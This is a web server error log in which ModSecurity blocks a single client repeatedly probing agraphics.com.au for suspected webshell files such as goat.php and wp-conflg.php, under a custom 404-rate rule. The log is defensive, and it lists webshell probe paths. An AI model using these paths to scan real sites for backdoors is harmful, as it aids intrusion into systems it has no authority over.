[Sun Jan 11 20:43:56.664232 2026] [:error] [pid 5272:tid 5290] [client 4.247.164.63:43709] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObDFp55bCsukUvYGZ1DAAAANA"]
[Sun Jan 11 20:43:57.458199 2026] [:error] [pid 36611:tid 36625] [client 4.247.164.63:44957] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObDT8oZoZHsoTdjhhgTgAAAkw"]
[Sun Jan 11 20:43:57.796675 2026] [:error] [pid 5152:tid 5172] [client 4.247.164.63:44974] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObDRm0axGMFrpuXHCWBgAAAAo"]
[Sun Jan 11 20:43:58.298196 2026] [:error] [pid 5152:tid 5181] [client 4.247.164.63:37626] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWObDhm0axGMFrpuXHCWBwAAABM"]
[Sun Jan 11 20:43:58.794399 2026] [:error] [pid 35730:tid 35740] [client 4.247.164.63:30960] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWObDji7U_mfHtESQHlcJgAAAcg"]
[Sun Jan 11 20:43:59.375848 2026] [:error] [pid 35730:tid 35756] [client 4.247.164.63:31629] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWObDzi7U_mfHtESQHlcJwAAAdg"]
[Sun Jan 11 20:43:59.831357 2026] [:error] [pid 35977:tid 35985] [client 4.247.164.63:38888] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWObD7DST5RMqStLeP15WQAAAgU"]
[Sun Jan 11 20:44:00.325290 2026] [:error] [pid 35730:tid 35755] [client 4.247.164.63:5838] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWObEDi7U_mfHtESQHlcKAAAAdc"]
[Sun Jan 11 20:44:00.702493 2026] [:error] [pid 5155:tid 5221] [client 4.247.164.63:35332] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWObEFgEKFpNs0_zLGke2gAAAIU"]
[Sun Jan 11 20:44:01.470793 2026] [:error] [pid 5272:tid 5295] [client 4.247.164.63:35040] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWObEVp55bCsukUvYGZ1DwAAANU"]
[Sun Jan 11 20:44:02.246723 2026] [:error] [pid 5155:tid 5233] [client 4.247.164.63:35796] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWObElgEKFpNs0_zLGke3AAAAJE"]
[Sun Jan 11 20:44:02.629845 2026] [:error] [pid 5155:tid 5234] [client 4.247.164.63:5766] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtride.php"] [unique_id "aWObElgEKFpNs0_zLGke3QAAAJI"]
[Sun Jan 11 20:44:03.097324 2026] [:error] [pid 35730:tid 35746] [client 4.247.164.63:53163] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtride.php"] [unique_id "aWObEzi7U_mfHtESQHlcLwAAAc4"]
[Sun Jan 11 20:44:03.441484 2026] [:error] [pid 40191:tid 40203] [client 4.247.164.63:5728] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtride.php"] [unique_id "aWObE0m2BH1CV1p0EUHUYwAAAso"]
[Sun Jan 11 20:44:03.886332 2026] [:error] [pid 5152:tid 5163] [client 4.247.164.63:35783] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtride.php"] [unique_id "aWObExm0axGMFrpuXHCWDAAAAAE"]
[Sun Jan 11 20:44:04.459716 2026] [:error] [pid 5155:tid 5228] [client 4.247.164.63:35302] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s11.php"] [unique_id "aWObFFgEKFpNs0_zLGke3wAAAIw"]
[Sun Jan 11 20:44:04.840433 2026] [:error] [pid 5153:tid 5196] [client 4.247.164.63:31278] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s11.php"] [unique_id "aWObFM1QbNSPD9bRi77J2QAAAEc"]
[Sun Jan 11 20:44:05.256218 2026] [:error] [pid 36611:tid 36615] [client 4.247.164.63:31245] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s11.php"] [unique_id "aWObFT8oZoZHsoTdjhhgVAAAAkI"]
[Sun Jan 11 20:44:05.701205 2026] [:error] [pid 5272:tid 5286] [client 4.247.164.63:35998] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s11.php"] [unique_id "aWObFVp55bCsukUvYGZ1EwAAAMw"]
[Sun Jan 11 20:44:06.175010 2026] [:error] [pid 5153:tid 5192] [client 4.247.164.63:55129] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aWObFs1QbNSPD9bRi77J2wAAAEM"]
[Sun Jan 11 20:44:06.834115 2026] [:error] [pid 36611:tid 36634] [client 4.247.164.63:5969] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aWObFj8oZoZHsoTdjhhgVgAAAlU"]
[Sun Jan 11 20:44:07.476478 2026] [:error] [pid 11747:tid 11763] [client 4.247.164.63:44346] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aWObF6RFw84LNpZSk7niOwAAAUw"]
[Sun Jan 11 20:44:07.900545 2026] [:error] [pid 11748:tid 11799] [client 4.247.164.63:34990] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aWObFwC5xybrWOCNnoYBOwAAAZU"]
[Sun Jan 11 20:44:08.509486 2026] [:error] [pid 11748:tid 11795] [client 4.247.164.63:43884] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aWObGAC5xybrWOCNnoYBPAAAAZE"]
[Sun Jan 11 20:44:09.240728 2026] [:error] [pid 11747:tid 11761] [client 4.247.164.63:36035] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aWObGaRFw84LNpZSk7niPAAAAUo"]
[Sun Jan 11 20:44:09.671231 2026] [:error] [pid 11748:tid 11796] [client 4.247.164.63:36087] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aWObGQC5xybrWOCNnoYBPQAAAZI"]
[Sun Jan 11 20:44:10.083619 2026] [:error] [pid 5272:tid 5281] [client 4.247.164.63:5236] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aWObGlp55bCsukUvYGZ1HAAAAMc"]
[Sun Jan 11 20:44:10.589995 2026] [:error] [pid 36611:tid 36636] [client 4.247.164.63:43939] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aWObGj8oZoZHsoTdjhhgWAAAAlc"]
[Sun Jan 11 20:44:11.088348 2026] [:error] [pid 5272:tid 5284] [client 4.247.164.63:41732] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aWObG1p55bCsukUvYGZ1HgAAAMo"]
[Sun Jan 11 20:44:11.541098 2026] [:error] [pid 11748:tid 11785] [client 4.247.164.63:63558] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aWObGwC5xybrWOCNnoYBQAAAAYc"]
[Sun Jan 11 20:44:12.459709 2026] [:error] [pid 11747:tid 11766] [client 4.247.164.63:63583] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aWObHKRFw84LNpZSk7niPwAAAU8"]
[Sun Jan 11 20:44:12.834148 2026] [:error] [pid 5272:tid 5274] [client 4.247.164.63:5228] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lyy.php"] [unique_id "aWObHFp55bCsukUvYGZ1IgAAAMA"]
[Sun Jan 11 20:44:13.317515 2026] [:error] [pid 36611:tid 36618] [client 4.247.164.63:5192] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lyy.php"] [unique_id "aWObHT8oZoZHsoTdjhhgWQAAAkU"]
[Sun Jan 11 20:44:13.773589 2026] [:error] [pid 35730:tid 35747] [client 4.247.164.63:36073] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lyy.php"] [unique_id "aWObHTi7U_mfHtESQHlcSAAAAc8"]
[Sun Jan 11 20:44:14.341612 2026] [:error] [pid 35977:tid 35989] [client 4.247.164.63:45514] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lyy.php"] [unique_id "aWObHrDST5RMqStLeP15ZAAAAgk"]
[Sun Jan 11 20:44:14.987560 2026] [:error] [pid 35977:tid 35997] [client 4.247.164.63:41814] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWObHrDST5RMqStLeP15ZQAAAhE"]
[Sun Jan 11 20:44:15.405561 2026] [:error] [pid 35977:tid 35985] [client 4.247.164.63:36070] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWObH7DST5RMqStLeP15ZgAAAgU"]
[Sun Jan 11 20:44:15.810521 2026] [:error] [pid 5152:tid 5182] [client 4.247.164.63:37210] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWObHxm0axGMFrpuXHCWGQAAABQ"]
[Sun Jan 11 20:44:16.261315 2026] [:error] [pid 5272:tid 5295] [client 4.247.164.63:34114] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWObIFp55bCsukUvYGZ1JgAAANU"]
[Sun Jan 11 20:44:16.883332 2026] [:error] [pid 5155:tid 5230] [client 4.247.164.63:63566] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWObIFgEKFpNs0_zLGke7AAAAI4"]
[Sun Jan 11 20:44:17.320401 2026] [:error] [pid 36611:tid 36613] [client 4.247.164.63:34112] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWObIT8oZoZHsoTdjhhgXQAAAkA"]
[Sun Jan 11 20:44:17.802503 2026] [:error] [pid 36611:tid 36635] [client 4.247.164.63:45520] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWObIT8oZoZHsoTdjhhgXwAAAlY"]
[Sun Jan 11 20:44:18.382375 2026] [:error] [pid 11748:tid 11801] [client 4.247.164.63:34953] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWObIgC5xybrWOCNnoYBQgAAAZc"]
[Sun Jan 11 20:44:18.795265 2026] [:error] [pid 5272:tid 5294] [client 4.247.164.63:34124] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWObIlp55bCsukUvYGZ1JwAAANQ"]
[Sun Jan 11 20:44:19.203776 2026] [:error] [pid 35977:tid 35980] [client 4.247.164.63:28220] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWObI7DST5RMqStLeP15aQAAAgA"]
[Sun Jan 11 20:44:19.746188 2026] [:error] [pid 11748:tid 11789] [client 4.247.164.63:34097] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWObIwC5xybrWOCNnoYBRAAAAYs"]
[Sun Jan 11 20:44:20.246746 2026] [:error] [pid 35730:tid 35750] [client 4.247.164.63:34116] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWObJDi7U_mfHtESQHlcUwAAAdI"]
[Sun Jan 11 20:44:20.593259 2026] [:error] [pid 40191:tid 40215] [client 4.247.164.63:45532] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aWObJEm2BH1CV1p0EUHUfAAAAtY"]
[Sun Jan 11 20:44:20.995168 2026] [:error] [pid 35977:tid 36004] [client 4.247.164.63:36364] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aWObJLDST5RMqStLeP15awAAAhg"]
[Sun Jan 11 20:44:21.417799 2026] [:error] [pid 36611:tid 36617] [client 4.247.164.63:41805] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aWObJT8oZoZHsoTdjhhgYAAAAkQ"]
[Sun Jan 11 20:44:21.739763 2026] [:error] [pid 11748:tid 11793] [client 4.247.164.63:34080] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aWObJQC5xybrWOCNnoYBRwAAAY8"]
[Sun Jan 11 20:44:22.405967 2026] [:error] [pid 36611:tid 36615] [client 4.247.164.63:34130] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWObJj8oZoZHsoTdjhhgYQAAAkI"]
[Sun Jan 11 20:44:22.756371 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:63598] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWObJlp55bCsukUvYGZ1KQAAAMk"]
[Sun Jan 11 20:44:23.092170 2026] [:error] [pid 5272:tid 5279] [client 4.247.164.63:41829] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWObJ1p55bCsukUvYGZ1KwAAAMU"]
[Sun Jan 11 20:44:23.737175 2026] [:error] [pid 5272:tid 5274] [client 4.247.164.63:34920] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWObJ1p55bCsukUvYGZ1LAAAAMA"]
[Sun Jan 11 20:44:24.151994 2026] [:error] [pid 35977:tid 35989] [client 4.247.164.63:45353] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWObKLDST5RMqStLeP15bwAAAgk"]
[Sun Jan 11 20:44:24.470427 2026] [:error] [pid 35977:tid 35997] [client 4.247.164.63:36400] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWObKLDST5RMqStLeP15cAAAAhE"]
